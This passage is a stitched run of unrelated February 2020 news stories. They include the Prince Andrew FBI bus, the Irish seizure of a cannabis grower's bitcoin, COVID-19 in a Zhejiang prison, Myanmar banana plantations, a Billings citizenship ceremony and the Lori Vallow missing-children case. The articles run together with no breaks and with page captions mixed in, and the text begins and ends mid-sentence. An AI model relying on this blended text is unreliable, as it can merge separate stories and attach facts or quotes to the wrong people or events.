birthday did not fly from public buildings, though the bells of Westminster Abbey did ring to mark the occasion. According to onlookers, the bus made its way through Mayfair before it was pulled over by police in Park Street. One bystander who spotted the 'weird bus' said officers spoke to the driver for around ten minutes before the bus was allowed to drive off. The prince has categorically denied having any knowledge that Epstein was sexually abusing teenage girls. But the scandal reignited last November when Andrew gave a disastrous interview to BBC Newsnight's Emily Maitlis in which he failed to express any regret for continuing his friendship with the disgraced financier after he was jailed for child sex abuse. The prince told the BBC he did not regret his friendship with Epstein, because 'the people that I met and the opportunities that I was given to learn either by him or because of him were actually very useful'. He told Miss Maitlis he would give investigators a statement under oath 'in the right circumstances'. After a public furore, in which he was forced to withdraw from royal duties, he issued a statement saying he would 'of course' speak to investigators 'if required'. Andrew was the patron of 189 charities and organisations including 28 golf clubs and societies - who all needed new patrons. An onlooker said the yellow American High School bus telling anyone who sees Prince Andrew to call the FBI was pulled over by police in central London this morning. The businessman, who asked not to be named, said the vehicle was stopped at 11.55am in Victoria Street, south London, outside the Labour Party headquarters. 'I saw this big yellow US school bus come around the corner from Buckingham Gate into Victoria Street as I left work to get a sandwich,' he said. 'It was quite surreal to see it in central London. Lots of people on the street were looking at the message about Prince Andrew in large letters along the side. I was trying to work out who had done it. The bus made its way through Mayfair before it was pulled over by police in Park Street The future of Prince Andrew's pet project Pitch@Palace appears in jeopardy as yet major supporters pulled the plug and their financial support The Duke of York, speaking for the first time about his links to Jeffrey Epstein in an interview with BBC Newsnight's Emily Maitlis 'Behind the bus was a police patrol car with blue flashing lights who followed it into Victoria Street and ordered the driver to stop. 'Two police officers got out and spoke to the driver, presumably to check the vehicle's registration documents. 'Once they were satisfied the papers were fine, he was allowed to continue on his journey.' Earlier this month, Prince Andrew was urged by lawyers to 'get on a plane' and answer questions from the FBI as part of a reciprocal deal that would see US spy's wife Anne Sacoolas sent to the UK where she is accused of killing teen Harry Dunn. The demand was made in an extraordinary press conference in New York where Lisa Bloom, lawyer for alleged victims of Epstein, teamed up with Dunn family lawyer Radd Seiger in an attempt to break the stalemate that has ensnared both of their cases in political red tape. Andrew's much anticipated appearance on BBC's Newsnight to defend his reputation in the wake of the Epstein sex scandal, saw him admit the friendship with the disgraced financier 'gave him the opportunity to meet people' Mrs Sacoolas was charged with causing Mr Dunn's death by dangerous driving in December but US secretary of state Mike Pompeo rejected an extradition request for the 42-year-old last month. Nineteen-year-old Mr Dunn was killed when his motorbike crashed into a car outside US military base RAF Croughton in Northamptonshire on August 27 last year. The lawyers appeared alongside one of Epstein's accusers, a model named Kiki who appealed to the Queen to persuade Prince Andrew to help the US authorities with anything he witnessed in his time with Epstein. Ms Bloom highlighted what she called 'eerie parallels' between the cases that involved 'everyday teenagers'. Clifton Collins gave the impression of living almost a reclusive and simple life in his rented home in Connemara. But behind that facade, Collins was quickly turning into a wealthy investor, who was showing huge profits from his involvement in the virtual world of cryptocurrency. Now an incredible 52m in bitcoin is tied up in online wallets with any hope of accessing the cash seemingly resting on the location of a missing fishing rod case. Collins claims he wrote the codes to access the fortune on paper which was concealed inside the case, location now unknown. In years gone by, Collins was regularly spotted selling jars of his honey at street markets in Co Galway. His neighbours believed he was making a modest living from the bee-keeping operation he ran at the house near Clifden. He appeared to be a typical drop-out, leaving behind the pace of life to find solace in the wilds of the west. But the seed capital for his investments was provided by the proceeds of his other life as a drug dealer. Collins (49) is originally from Slane Road in Crumlin in Dublins south inner city. He moved west after renting out a property at Farnaught, outside Corr na Mona, a village in a Gaeltacht area lying on the northern side of Lough Corrib. He registered a company, called Lough Island, and set up his front business of bee-keeping in the heart of Joyce country. But at the same time he established a cannabis growhouse on his property, producing a yield of around four kilos of cannabis herb every 16 weeks and then selling the crop to drug dealers for 25,000 to 30,000. His activities remained unnoticed until the early hours of February 08, 2017 when his erratic driving caught the attention of gardai on a routine patrol in the Sally Gap in the Wicklow mountains. The officers stopped his Lexus 4x4 and questioned Collins on suspicion of driving under the influence of drink. A search of the vehicle uncovered a quantity of cannabis herb. Collins was arrested and charged with a number of offences under the Misuse of Drugs Act at Bray District Court. In the meantime, the local gardai had alerted their colleagues in Clifden and when they searched the property at Corr na Mona they discovered the growhouse and found around 500 plants. Follow-up inquiries established that Collins had also set up growhouses at rented properties in Kells, Co Meath, and Drumlish, Co Longford, over the previous decade. After harvesting his crops, Collins then vacuum packed the cannabis and sold the drugs to dealers in Dublin. Collins is currently in prison. He was sentenced to five years imprisonment, with one year suspended, for his involvement in drugs. Gardai passed over a file on the case to the Criminal Assets Bureau, whose inquiries were to uncover another bizarre side to the quiet beekeepers life. CAB officers found that from 2011, Collins had begun to invest his cannabis profits in bitcoin, a cryptocurrency that was slowly becoming popular with investors, including those who were anxious to lodge their money outside the mainstream financial institutions. He set about mining bitcoin in the virtual world. The term mining is used because searching for bitcoin is similar to looking for gold - in that it exists but has not yet been found. There is a finite amount of bitcoin it is estimated that some 21 million bitcoins will exist at some stage and the miners have to find them and establish an access code to invest and purchase them. It is reckoned that Collins invested around 50,000 in bitcoin initially in 2011 and 2012. This would have grown in value to around 2m by 2015, and the value of bitcoin skyrocketed over the next few years to a one-time peak of around 60m. When the CAB located most of Collins bitcoin, it was estimated to be worth 52m but another tranche of bitcoin, worth 1.6m was then located. As the value of his investment began to increase substantially, Collins became concerned about having all of his eggs in one basket or, in this case, bitcoin in one wallet. He decided to open a dozen accounts, each one with a complicated access code, and distributed his assets throughout them. He allowed himself some investments in the real world and purchased a fishing boat Corr na Mona is highly popular with anglers and a gyroplane, which he learned to fly. The case first came before the High Court last July, and when it was listed for hearing last Monday before Mr Justice Alex Owens, Collins decided not to contest the CABs application to seize the bitcoin. Mr Justice Owens ruled that the bitcoin should be forfeited under the Proceeds of Crime Act. In normal circumstances, Collins decision not to contest the application would have meant that CAB could take possession of the highly valuable asset and hand it over to the Minister for Finance for State coffers. But, as with other aspects of Collins life, this seizure was not straightforward. To gain access to the bitcoin in the wallets, CAB must be given the necessary codes. Collins, however, claims he does not know the codes and has no access to them. Remarkably, he says that when he opened up the 12 wallets, he wrote the individual codes on a single piece of paper, which he then concealed inside a fishing rod case. He claims that the fishing rod case went missing after a burglary at his home and that after he was sent to prison, his belongings were moved out of the rented house. This case represents the biggest seizure of assets by CAB since it was established in 1996 after the murders of Det Garda Jerry McCabe and Sunday Independent investigative journalist, Veronica Guerin. But for the moment, CAB officers can only watch and wait. They can monitor the bitcoin - but they cant touch it. CAB may rely on Collins somehow managing to find the code numbers on his release from prison. Otherwise, they must wait for developments in technology allowing them to them to crack the combination. (Newser) A national security aide who's been rumored to be the author of a tell-all book about President Trump's White House is being moved out of it. Victoria Coates will begin her new job as a senior adviser for the Department of Energy on Monday, Reuters reports. White House officials said the transfer had been on its way for weeks, and they dismissed the "Anonymous" rumors, as had agents for the book, per Politico. The author surfaced in 2018 with an op-ed piece in the New York Times critical of Trump's handling of his job. A book with similar content, A Warning, was published in November. Coates' boss, national security adviser Robert C. O'Brien, said a week ago in answer to the rumors that she was staying. "Victoria Coates is my deputy," O'Brien said, per CNN. "She's running our Middle East Bureau and she's here at the NSC." On Thursday, O'Brien said in a statement that Coates will be an asset at DOE. story continues below Trump said this week that he knows who "Anonymous" is. We know a lot," he told reporters, per the AP. The president has removed National Security Council and State Department staff members since he was acquitted of impeachment charges. In the book, the author writes that senior administration officials discussed resigning together in 2018 in objection to the way Trump conducts the presidency but decided not to. Coates, who has a doctorate in Italian Renaissance art, joined Trump's NSC staff early and was an opponent of the Iran nuclear agreement. (Read more National Security Council stories.) Share this article Whatsapp Facebook Twitter Linkedin (Xinhua) Hangzhou, China Fri, February 21, 2020 19:49 690 7f440ff09e92db75a02bbad2065e43a4 2 World COVID-19,China,prison,inmates,novel-coronavirus Free A total of 34 inmates were confirmed to have been infected with the novel coronavirus (COVID-19), in a prison in east China's Zhejiang Province, according to a press conference held by the provincial government Friday. The Shilifeng Prison in the city of Quzhou has been closed off, and every patient is receiving medical treatment, according to the briefing. The provincial department of justice said an officer of the prison was diagnosed with the novel coronavirus on Jan. 29. He had visited Wuhan, the center of the novel coronavirus outbreak, from Jan. 14 to 19, but he deliberately concealed the fact and went back to work in the prison after the trip. On Jan. 31, some others in the prison were diagnosed with the infection. The provincial health department immediately sent a team of experts to the site to guide the epidemic prevention and control work, including disinfection and isolation. Due to contact with the prison officer, many inmates were infected. The political commissar and the warden of the prison have been removed from office, and police have initiated an investigation into the prison officer. Zhejiang's prison administration has carried out a thorough investigation to trace those who have had close contact with confirmed patients. All of them, together with suspected patients, have been quarantined for medical observation. A Romanian citizen has died in the recent attacks in Hanau, Germany, according to the Romanian Foreign Ministry (MAE). The repatriation will be provided under the emergency fund, by order of acting Minister of Foreign Affairs Bogdan Aurescu, MAE reported on Thursday night.The Consulate General of Romania in Bonn is in contact with the local authorities and has made contact with the family of the deceased person to provide the necessary assistance.MAE also extends condolences to the bereaved family and firmly condemns any act of violence and xenophobic manifestation.The German media reported on Thursday that among the victims of the attacks on Wednesday evening in the German city of Hanau, Hessa land, would be immigrants of Turkish, Bulgarian, Bosnian and Romanian origins.The nine victims of German Tobias R. are between 21 and 44 years old. Among them there are three Germans.Armed attacks on Wednesday night in the German city of Hanau resulted in nine deaths and more injured, being investigated as terrorist actions, Hesse's Interior Minister Peter Beuth said on Thursday.According to sources close to the investigation, a letter of confession and a video recording were found after the Police announced around 06:00hrs that they had discovered the alleged perpetrator of the deadly attacks dead from gunshot in an apartment, along with another dead, who would be his 72-year-old mother. With an aim to ensure that every school, college and other educational institute is tobacco-free; Thane district rural police have initiated the Cigarettes and Other Tobacco Products Act, 2003, (COTPA) that prohibits the sale of tobacco and related products within 100 yards of any education institution. A special training was conducted for police officers from Kalyan, Bhiwandi, Bhayander, Mira Road to Murbad and Ganeshpuri to help them understand the rules, and plan a strict vigil . Around 1,500 schools, including private and zilla parishad-run schools within Thane district will be under the vigil of the Thane rural police for the anti-tobacco drive, said Srikant Jadhav, public relations officer of the Tobacco-Free Maharashtra organisation. Within Maharashtra, 15 districts have implemented this act. Kolhapur and Nashik are leading by examples, he added. Superintendent of police, Thane rural, Sanjaykumar Patil, said, Training was given to all police officers on how to handle such incidents. They were also alerted about the Act and its rules. Every police station within the rural areas has been given targets to ensure there are no loopholes. A board has to be put up outside every shop selling tobacco stating that it will be banned for those below 18 years of age. Also, those smoking in public places will be punished, he said. Schools and colleges in rural areas have fewer students and they often loiter at small stalls or shops situated close to school before heading home. The stalls have a variety of tobacco items that are available at a cheap price. If these are not curbed, children will get addicted to it at a young age itself, said Shahid Ansari, educational activist, Kausa. The Thane city police will also get basic training. They will then initiate the anti-tobacco drive at educational institutions in the city. Those selling tobacco products within 100 yards of any educational institute will be pulled up by the city police. The Thane city police will soon be given the training just like 15 other districts in state. For now, they are checking for any miscreant activity outside educational institutions, said Jadhav. 21.02.2020 LISTEN The Ghanaian Gospel music industry has really gone from strength to strength and there is growing signs of incredible upcoming gospel acts. The list features the new face of Gospel Music who are making an impressive statement about their music and mission using the new media and sharing the gospel through their songs to take believers by storm. One such personality is Rita Nkansah popularly known as Ritaqueen who has taken her talent into new territory with creative arrangement, song choice and production. She is raising the flag of Ghana outside the territories of the country and has been praised for her exceptional ministration at events and churches. She has used her incredible talent to serve at the House of Prayer Ministries International, preparing to release her maiden thrilling gospel song titled He Reigns which projects Gods goodness. I want the world to know that it doesnt matter what the enemy brings on our way, he that is in us is greater, stronger, bigger, wiser, than he that is in the world, so no matter what we go through in life we should never give up because God will see us through and we shall overcome, she speaks ahead of the release in March. Ritaqueen is changing lives with the raw emotion and passion delivered with every note she sings. She delivers a powerful worship song that congregations around the world can easily sing along. YEREVAN. Anna Hakobyan, the spouse of Armenias Prime Minister as well as chair of the boards of trustees of the My Step and City of Smile charitable foundations, today visited the Bezhanyan family, which had an addition as their 12th child, Anna, was born on February 13. Hakobyan congratulated the family members and talked to the parents and children. "I am so happy to have visited you; I am very happy that there are mothers like you in our country," she said. "Congratulations and best wishes to you and your large family." Burma Photos Reveal Impact of Illegal Banana Plantations on Workers, Land in Myanmars Kachin State Workers soak bananas in a chemical solution on a tissue-culture banana plantation in Kachin State. / Hkun Li An ongoing exhibition of photographs by young local documentary photographer Hkun Li spotlights the negative impact of illegal banana plantations in Kachin State on the environment and the health of workers, largely due to excessive use of pesticides and chemicals. The exhibition, The Price of Bananas, opened on Feb. 19 and runs through March 11 at Maha Bandoola Park as part of the 12th Yangon Photo Festival. This is my second long-term project; I started working on it 2017, three years ago. Chinese investors had been setting up these tissue-culture banana plantations in Laos. Then, the Lao government received multiple reports about the overuse of pesticides and chemicals, and ordered the plantations shut down. Then, investors started setting up banana plantations in Kachin State, in the conflict area, Hkun Li told The Irrawaddy. Now, local people are running into the same problems as the people in Laos. I started this photo project by myself because Im interested in this issue and want to know more about the lives of the workers there, the 33-year-old said. The health effects of exposure to such large amounts of chemicals dont appear immediately. Five or six months after starting to work on the plantations, a number of laborers began to vomit blood and some pregnant women lost their babies. One of Hkun Lis photos shows an elderly woman who lost two fingers after cutting herself with a knife she used to cut down bananas. The knife was covered with the chemicals that are sprayed on the banana trees. She developed an infection and lost her fingers, Hkun Li explained. From the beginning [of the farming process] until they are exported, they use about 20 kinds of chemicals, he added. The companies operating the plantations dont automatically provide workers with protective gear like gloves. Most of the workers didnt have that kind of knowledge [about the importance of safety equipment], but some people knew. The companies provided those things only when workers asked for them, Hkun Li said. The excessive use of pesticides and chemicals not only harms the health of the workers, but also damages the land and the environment. During harvesting, they use a huge amount of plastic. Then, all the rejected bananas and pesticide bags are abandoned on the plantations, he said. Additionally, streams and groundwater near the plantations are drying up. And the other big problem is land ownership; some [plantations] arent formally registered. Much of the reporting on the banana plantations has focused on the land-ownership issue, but I want to show the issue in its entirety, and show what kinds of challenges the workers are facing right now, Hkun Li said. According to government reports, banana plantations covered about 170,000 acres (70,000 hectares) in 2019. About 100 companies have invested in the banana plantations, but only one company has legally registered. Now theyre expanding into Shan State, he said. Speaking at a press conference for the 12th Yangon Photo Festival at the Rosewood Hotel on Feb. 17, Kristian Schmidt, ambassador of the European Unionone of the supporters of the festivalsaid, The EU is proud to host Hkun Lis powerful story on the worrying impact of rapidly growing banana plantations on communities in Kachin State. I am glad to see that such open discussions can and do take place in Myanmar today. He added, I traveled to Kachin State quite a few times in the past couple of years. Every time I go, I saw from an airplane a wider and wider area of banana plantations. Myanmar needs investment; I have tried to bring European investment to Myanmar. This is not the kind of investment that Myanmar needs. Myanmar is a beautiful, wonderful country, he said, but it is important that people know about such issues, and Hkun Li was doing a wonderful job of raising awareness, he said. Ive been working on this project for three years, but its not finished yet; I will keep working on this. At the exhibition, about 30 photos are showcased in my photo essay, Hkun Li said. The banana plantations in Kachin State continue to expand rapidly; much of the land used is acquired illegally through pressure, threats, deception or duress, according to local civil society organizations, which have voiced strong opposition to the plantations. You may also like these stories: Myanmar Lower House Votes to Scrap Polling Stations on Military Bases Military-Initiated Steel Project Costing Myanmar Govt $345,000 in Daily Loan Payments to China KNU to Myanmar Military: Stop Road Building Until Dispute is Settled The last night before gaining his U.S. citizenship was a long and restless one for Hassan Al Bawi. In his dreams he was always late to the courthouse. Something would always go wrong. After spending 11 years in the United States, he was worried that the citizenship he had worked so hard for would fall through. He woke up at 4 a.m. and couldn't stop checking the clock. The former interpreter for the U.S. military in Iraq was so nervous about something as small as a traffic ticket derailing his citizenship bid that he took a 10-minute Uber to the federal courthouse for his naturalization ceremony Thursday. He said he got there two hours early. Afterward, Al Bawi and his wife Areej were smiling. "This is where I feel I belong," he said, adding that many of his friends are now from Montana. "I was born and raised in Baghdad, but this means a lot to me. This area is my home. I call Montana my home." Al Bawi was one of 34 people in Billings Thursday swearing the Oath of Allegiance to became U.S. citizens. The new citizens hail from 19 countries including Canada, China, Colombia, Costa Rica, France, Iraq, Ireland, Jamaica, Mexico, Nigeria, Peru, the Philippines, Poland, South Africa, South Korea, Spain, Switzerland, the United Kingdom and Vietnam. The naturalization ceremony was one of the three during a typical year at the James F. Battin Federal Courthouse in Billings. Numerous people in the crowd watching raised cellphones to record the ceremony. At least one person live-streamed the event. Many who became citizens waived small American flags and smiled, seeking out the eyes of friends and family. That wasn't enough for Jacqueline Low from Ireland. She kicked up her feet, danced and curtsied before continuing to her seat. One of the last people to go was Richard Buckingham. Originally from the United Kingdom, Buckingham couldn't help but hug Judge Susan Watters. Al Bawi pumped his fist. So did Hayder Al Rubaye, a Billings pharmacist originally from Iraq. Al Rubaye said he and his family also worked with the U.S. military in Iraq. Al Bawi described how that experience helped him get to the United States. But those opportunities have been declining in recent years. An NBC News report from August 2019 found that in 2018 only two visas were issued to Iraqis who had worked as interpreters for the U.S. military. In 2016, 325 Iraqi interpreters were admitted to the the U.S., and in 2017 the number fell to 196, according to the NBC News story, which cites statistics obtained from the U.S. Citizenship and Immigration Services. More than 142,000 Iraqis have resettled in the U.S. since 2007, according to the same NBC News story. For some Iraqis who worked with the U.S. military, coming to America isn't just a chance for a better life. It's a chance to ensure they have any life at all. Al Bawi said he spent four years working with the U.S. military. Of the seven other interpreters he worked alongside, he said he's one of two still living. He recalled at one point being in a secure area in Baghdad and unable to safely see his family just miles away. One of the U.S. soldiers he served with told him he needed to leave Iraq or he would wind up dead. Al Bawi said he was scared to come to the United States not knowing anyone. One of the same soldiers who warned him helped him with his passport and other paperwork and housed him for more than a year in Texas while he got on his feet. Al Bawi said they're like family. Since he has been in the United States his father died in Iraq, but he was unable to attend the funeral, something he said still bothers him. He and Al Rubaye said they hadn't met before Thursday. Outside the courtroom they posed for pictures together, congratulated each other and exchanged phone numbers. Al Rubaye said he had studied in Egypt to be a pharmacist when he realized in 2012 that he had a chance to be granted asylum in the United States. It wasn't safe for him to go back to Iraq, he said, so he took the chance. Despite having gone to pharmacy school already, he had to go through the process again in the United States. He said he had about $3,000 when he arrived, and no family with him. He worked as a pharmacy technician, an Uber driver and a cashier, while continuing to complete coursework. Throughout it all he stayed motivated by telling himself that the other students weren't better or smarter than him. In 2017 he became a pharmacist in the U.S. "I had a dream to become a pharmacist here," he said. "It's a great honor to be American and part of this country." Photos: 34 new US citizens sworn in at Billings naturalization ceremony Love 3 Funny 0 Wow 0 Sad 0 Angry 0 An 'elderly' black bear wandered through a Los Angeles suburb for hours on Friday, getting close to residents as they left for work and filmed by news crews that dared getting a close shot of the animal before it was tranquilized. The bear showed up to Monravia, less than 25 miles outside LA about 2:30am. The animal almost immediately drew attention from news crews that rushed to the 300 block of North Mayflower Avenue. By sunrise, residents like Douglas Dennis emerged from their homes to find the bear going from home to home. Dennis said hungry bears often show up to the neighborhood in search of a tasty snack. A black bear showed up to Monravia, California, less than 25 miles outside LA about 2:30am. Video footage captured by news crews show the bear just after it arrived in the neighborhood An image of a trash can torn open by the bear as it searched for food wandering through Monravia, California, on Friday Resident Douglas Dennis (pictured) spoke to a reporter just feet away from a black bear (red circle) wandering through Monravia, California, on Friday Dennis says hungry bears often show up to the neighborhood in search of a tasty snack 'He seems alright,' said Dennis of the bear as it approached nearby. 'He's just trying to get something to eat'. Fish and Wildlife spokesman Tim Daly told Time that the bear was about 400 pounds, female and 'would be described as elderly'. The bear, unfazed by its human spectators, got close to several news vans as it made its way down the street, tearing open trash cans. The black bear that wandered into Monravia, California, was seen in video footage going from home to home for hours The bear appeared unfazed by its human spectators, or several news crews that were filming it as it took its stroll through the neighborhood 'I'm just getting in the news vehicle,' said one female reporter as she backed away from the approaching bear and got inside a van. 'Trash cans come out on Friday, and they come out to eat,' Dennis told another reporter while they watched the animal. Finally, after hours of roaming from house to house, the bear decided to take a nap. It was sleeping peacefully until helicopters and lawnmowers woke it up, Aiden Dennis, 16, told KTLA. That's when Fish and Game officials tranquilized the bear and carried it out of the yard. Video shows it took about six men working together to carry the bear. A teenage boy missing for the last three months was found dead inside a well in Maharashtra's Satara district, police said on Friday. Vijay Jadhav (17) was kidnapped by Ashish Salunkhe, Sahil Shikalgar and Shubham Jadhav on December 12, said a Borgaon police official. "After a missing complaint was registered, we began probe and zeroed in on Salunkhe, Shikalgar and Shubham. They told us the body had been disposed of near Nagthane area. They had kidnapped him to get Rs 25 lakh ransom from his father," he said. "After the three realised that police were on their trail, they killed Vijay and tied his body to a pillar in a well. They have been charged with murder," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) WAMBA, Kenya When the dense, dark smudge started blocking out the daytime sky, many in a sleepy pastoralist hamlet in northern Kenya imagined it was a cloud ushering in some welcome, cooling rain. But the hope soon turned to terror when the giant blot revealed itself as a swarm of fast-moving desert locusts, which have been cutting a path of devastation through Kenya since late December. The sheer size of the swarm stunned the villagers. It was like an umbrella had covered the sky, said Joseph Katone Leparole, who has lived in the hamlet, Wamba, for most of his 68 years. When the insects descended, the community quickly gathered to try to scare them off, using one arm to beat them with sticks or bang on metal pots, and the other to cover their faces and eyes as the bright, yellow insects teemed around them. 'Cult' mom Lori Vallow was finally arrested in Hawaii on Thursday night after ignoring questions about her missing children for three months. Vallow was arrested on a warrant that were issued out of Idaho, the last known whereabouts of her two kids; JJ, seven, and Tylee, 17. Neither of the children has been seen since September and their extended family are gravely worried for them. They have been frantically appealing to Lori to tell authorities where the kids are but she has refused, instead staying silent and enjoying a quiet life in Hawaii with her new husband, Doomsday author Daybell. The pair are said to be obsessed with the end of the world and spirituality. They got married in a beach ceremony in November, six weeks after the kids vanished. 'Cult' mom Lori Vallow has been arrested by police in Hawaii during the investigation into her two missing children. She is pictured above in a new mugshot taken before she was jailed on a $5million Lori failed to comply with a court order to produce her children before authorities on January 30 in Madison County. Joshua 'JJ' Vallow, seven, and Tylee Ryan, 17, were last seen in Idaho in September in Rexburg, Idaho and authorities are still searching for them The arrest warrant is for a failure to comply with a court order to produce JJ and Tylee last month in Idaho. Lori has also been charged with desertion, nonsupport of dependent children, arrests and seizures resisting or obstructing officers, criminal solicitation to commit a crime, and contempt of court willful disobedience of court process or order. Where the children are remains a mystery, but it puts Lori in custody for the first time since the saga began. Along with JJ and Tylee's disappearance, she may have to answer questions about the suspicious deaths of her brother, Alex Cox, who died in December in mysterious circumstances, and that of her estranged husband Charles Vallow, who Alex shot dead in July. Lori's arrest comes two days after she and her husband Chad (pictured on Tuesday at the Kahului Airport) were seen returning to the island of Kauai after their two-day trip in Maui The couple left the island on Sunday and traveled to Maui. The couple are seen sitting on the plane after boarding on Tuesday to head back to Kauai The couple have reportedly been holed up in this three-bedroom condo at the Kaiulani of Princeville Townhomes in Princeville, Hawaii WHAT HAPPENS NEXT AND WHY DID IT TAKE SO LONG FOR THEM TO ARREST HER VALLOW? Since December, many have asked why police did not arrest Vallow to force her to answer questions about the children's disappearance. Before she was charged on Thursday, a veteran FBI agent offered an explanation: There was no evidence of a crime for police to accuse her of. Frank Montoya spoke before Thursday's charges about why the authorities seemed to be dragging their heels. 'The bottom line is what would be the crime? The children are missing but what does that mean? Where are they?' 'If they're in the care and custody of a family member or friend or somewhere else but they're still alive, what are we looking at with potential crimes to charge these people with? Maybe child endangerment. 'Beyond that, at this point, I'm not sure,' he told The East Idaho News. He however Vallow's behavior was 'highly suspicious'. 'When you're looking at the number of people who are dead that are associated with either individual at the center of this case [Lori and Chad], and when you consider the missing children and how long they've been gone, there's something very suspicious about their behavior. One of the charges in the arrest warrant is Lori's failure to comply with a court order to produce the children. She is also charged with desertion and nonsupport of dependent children. It is unclear what prompted authorities to finally file charges on Thursday. As of Friday morning, Vallow remained in custody in Kauai. She will potentially go before a judge for an extradition hearing on Friday but it could take until Monday. The process after that is lengthy; she may fight the extradition request from Idaho, and appeal to Hawaii to let her stay there, or waive it. Then the extradition process may take several weeks. It is unclear when she will be sat down and interrogated over the whereabouts of her children. Chad Daybell said nothing on Friday as he was questioned about her arrest at his garage. Advertisement Madison County Prosecting Attorney, Rob Wood, said in a statement that the complaint filed by the prosecutor's office alleges that Lori 'abandoned her two minor children, delayed law enforcement's attempts to locate her children'. The maximum sentence on each count of desertion of a child in Idaho is 14 years in prison. In a statement, Kauai Chief of Police Todd G. Raybuck said: 'First of all, we wish to thank the public for the massive outpouring of concern regarding this case.' 'We also want to thank everyone for their patience while investigators worked diligently to comprehensively gather everything they needed in order to obtain this arrest warrant.' JJ's aunt, Annie Cushing, said she was relieved by the arrests and hoped Lori would be held accountable for whatever has happened to the children. I wanna know where JJ and Tylee are. 'I feel confident these charges could stick and she could potentially go away for a long time,' she told CBS This Morning on Friday. It comes after weeks of pressure from the children's other relatives to arrest Lori or force her to tell them where the children are. A hearing date, where Lori will be given the opportunity to waive or fight extradition to Idado, is yet to be determined. Shortly after Lori was arrested, the grandparents of JJ spoke to KHON 2. Larry and Kay Woodcock both said that they are 'very, very happy' that Lori has been arrested. Kay said after receiving the news, their family was 'hoping and hollering so we are one big happy family'. She revealed that they knew Lori's arrest 'was coming,' they 'just didnt know when'. 'I know they [police] have put so much work into this. 'Theyve worked through the holidays and I know the public doesnt think they have but we have been working with them and we know what was going on, well what they could tell us,' Kay said. 'But we did not know the arrest was coming today. I felt like it was going to come in the next week,' Larry added. Annie Cushing, JJ's aunt, said on Friday she hoped the arrest leads to finding him and Tylee Shortly after Lori was arrested, Larry and Kay Woodcock, the grandparents of JJ (pictured together) spoke to KHON 2 and said that they are 'very, very happy' that Lori has been taken into custody They were then asked about what their upcoming plans are. 'Well never give up trying to find JJ and Tylee. That wont end,' Larry said, with Kay adding that the 'next chapter in our lives will be looking at the law surrounding missing children'. When asked by a reporter from what they would say to Lori right now, Kay responded: 'Hey honey, you better start talking now and maybe you can save a year or two off your sentence youre about to have when you go to court.' It wasn't until the end of the five-minute clip that the couple made a plea for Lori to tell them where JJ and Tylee are. 'Lori tell us where the kids are. Please, God tell us where the kids are and let this work out through the system,' Larry said. 'Youve had this long enough lets end this and tell us where they are,' Kay added. Lori's arrest comes just two days after she and her husband Chad were seen returning to the island of Kauai on Tuesday after their trip to Maui. The couple - who were married on November 5 - fled to Hawaii in mid-December after leaving Idaho when police started to question them about the whereabouts of JJ and Tylee. The search for JJ and Tylee was launched in late November after Rexburg police conducted a welfare check ordered by concerned relatives who said they hadn't spoken to JJ, who is autistic, in months. Both children were last seen in September, but were never reported missing by their mother or stepfather. When officers first went to Lori's home in Idaho on November 26, she told them that JJ was visiting relatives in Arizona - which investigators now say was a lie. Lori and Chad have been living in Hawaii since mid-December after they fled their home in Rexburg, Idaho, when police began questioning them about the whereabouts of her children, JJ and Tylee Lori and Chad became the target of a national media firestorm with the revelations that police are also investigating the mysterious deaths of both of their previous spouses and Lori's brother, as well as family members' claims that they are members of a doomsday cult Police say the couple have refused to cooperate with investigators and have repeatedly lied about where the children (pictured) are Officers returned the following day and found that Lori and Chad had fled from the home. Police have said Lori and Chad have lied about the children's whereabouts and even about their very existence, with Chad allegedly telling one person that Lori had no kids, and Lori allegedly telling another person that her daughter had died more than a year earlier. Timeline of JJ and Tylee's disappearance July 11: Lori Vallow's husband, Charles Vallow, is killed by her brother, Alex Cox, in Arizona August: Lori moves children JJ and Tylee to Rexburg, Idaho September 23: The last time JJ was seen at his school in Idaho October 19: Chad Daybell's wife Tammy dies at their Idaho home October 25: A friend of Tylee receives a text from her phone November 5: Lori and Chad marry November 26: Out-of-state relatives ask Idaho police to perform a welfare check on JJ. Lori and Chad claim he is in Arizona with relatives. Police also learn Tylee has not been seen since September, either November 27: Police execute a search warrant at Lori and Chad's home, discovering the couple have fled Idaho December 11: Tammy Daybell's body is exhumed from the Utah cemetery December 12: Lori's brother, Alex Cox, believed to have died in Arizona December 21: Police issue a press release about JJ and Tylee, revealing they believe their disappearance is linked to Tammy's death December 24: Lori and Chad issue a statement through an attorney saying they love their son and daughter and look forward to addressing 'allegations once they have moved beyond speculation and rumor' December 30: Police accuse Lori and Chad of lying to investigators and say they believe the couple know where the kids are or what happened to them January 26: Lori and Chad are seen for the first time in months as police serve two search warrants in Kaua'i January 30 Lori misses court deadline to produce the children to authorities Advertisement On Tuesday, photos of the couple on Tuesday showed them standing at a Hertz counter at the Kahului Airport around 2pm. They were then seen sitting in their seats as the plane prepared to takeoff. Passengers and airport employees told EastIdahoNews.com that the couple remained quiet and kept to themselves. According to the news site, a police officer also came to the gate to verify that the couple were on the flight. Lori and Chad became the target of a national media firestorm with the revelations that police are also investigating the mysterious deaths of both of their previous spouses and Lori's brother, as well as family members' claims that they are members of a dangerous doomsday cult. A close friend of Lori's recently revealed that she has been trying to stay out of the public eye as she waits for the 'media hype' to die down. When the search for the children started in December, an attorney for Lori and Chad issued a statement on their behalf in December, saying they love their son and daughter and look forward to addressing 'allegations once they have moved beyond speculation and rumor'. The search for JJ and Tylee uncovered a web of mysterious deaths surrounding Lori and Chad that has baffled investigators for weeks. Lori's estranged husband Charles Vallow, who was shot dead by her brother Alex Cox in Arizona on July 10. Charles and Lori had gotten into an argument when the father came to pick up JJ at her home in Chandler. Lori's brother intervened and shot Charles dead. She then moved with her children to Idaho, where Chad lived, in August. Police initially determined that he acted in self defense - but the case was reopened during the multi-state search for JJ and Tylee. There are also suspicions surrounding the death of Chad's wife, Tammy Daybell. She was found dead at the couple's home in Salem, Idaho on October 18. An obituary stated that Tammy passed away in her sleep and her cause of death was ruled as natural after Chad reportedly declined an autopsy. Investigators reopened the investigation into her death after learning that JJ and Tylee were missing, as their mother had married Chad just two weeks after Tammy died. They believe the two cases could be linked. Tammy's body was exhumed on December 11 and the autopsy results have not yet been released. Lori's estranged husband Charles Vallow (pictured together) was shot dead by her brother Alex Cox in Arizona on July 11, 2019 Chad's wife Tammy Daybell (pictured together) was found dead under mysterious circumstances in October, just two weeks before he married Lori On December 12, Lori's brother, Alex Cox, was found dead in Gilbert, Arizona. The 51-year-old's death is now under investigation as police wait for an autopsy to determine the cause. Kay Woodcock - the sister of Charles Vallow who is also JJ's grandmother - issued a statement in December in which she described how 